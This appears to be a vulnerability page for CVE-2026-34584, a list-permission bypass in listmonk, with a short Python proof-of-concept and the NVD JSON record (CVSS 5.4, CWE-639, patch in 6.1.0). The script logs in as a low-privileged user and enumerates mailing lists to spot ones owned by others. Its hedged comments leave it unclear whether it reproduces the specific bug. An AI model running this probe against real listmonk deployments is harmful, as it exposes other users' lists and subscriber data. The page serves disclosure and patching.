CVE-2026-34584

import requests # PoC for CVE-2026-34584: listmonk Permission Bypass # Description: This script attempts to access lists owned by other users # by leveraging the permission check bypass vulnerability. TARGET_URL = "http://localhost:9000" API_USER = "low_priv_user" API_PASS = "password" login_endpoint = f"{TARGET_URL}/api/login" lists_endpoint = f"{TARGET_URL}/api/lists" def exploit(): session = requests.Session() # 1. Authenticate as a low-privileged user login_data = {"username": API_USER, "password": API_PASS} resp = session.post(login_endpoint, json=login_data) if resp.status_code != 200: print(f"Login failed: {resp.text}") return print("[+] Login successful") # 2. Attempt to enumerate all lists # In a vulnerable version, the API might return lists not owned by the user resp = session.get(lists_endpoint) if resp.status_code == 200: data = resp.json() print(f"[+] Successfully retrieved data. Total lists found: {data.get('total', 0)}") # Analyze results to identify unauthorized access for lst in data.get('results', []): print(f" - ID: {lst['id']}, Name: {lst['name']}, OwnerID: {lst.get('user_id', 'N/A')}") print(" [!] Potential unauthorized access detected if OwnerID differs from current user.") else: print("[-] Failed to retrieve lists.") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2026-34584", "sourceIdentifier": "[email protected]", "published": "2026-04-02T18:16:30.510", "lastModified": "2026-04-10T02:03:22.047", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "listmonk is a standalone, self-hosted, newsletter and mailing list manager. From version 4.1.0 to before version 6.1.0, bugs in list permission checks allows users in a multi-user environment to access to lists (which they don't have access to) under different scenarios. This only affects multi-user environments with untrusted users. This issue has been patched in version 6.1.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nadh:listmonk:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.1.0", "versionEndExcluding": "6.1.0", "matchCriteriaId": "BB35DDE9-7F69-4344-A42C-C17C1F1D70A5"}]}]}], "references": [{"url": "https://github.com/knadh/listmonk/commit/347f5976759232c36e571cf58b4bfe33c2794f35", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/knadh/listmonk/releases/tag/v6.1.0", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/knadh/listmonk/security/advisories/GHSA-85j8-5c6w-gcpv", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}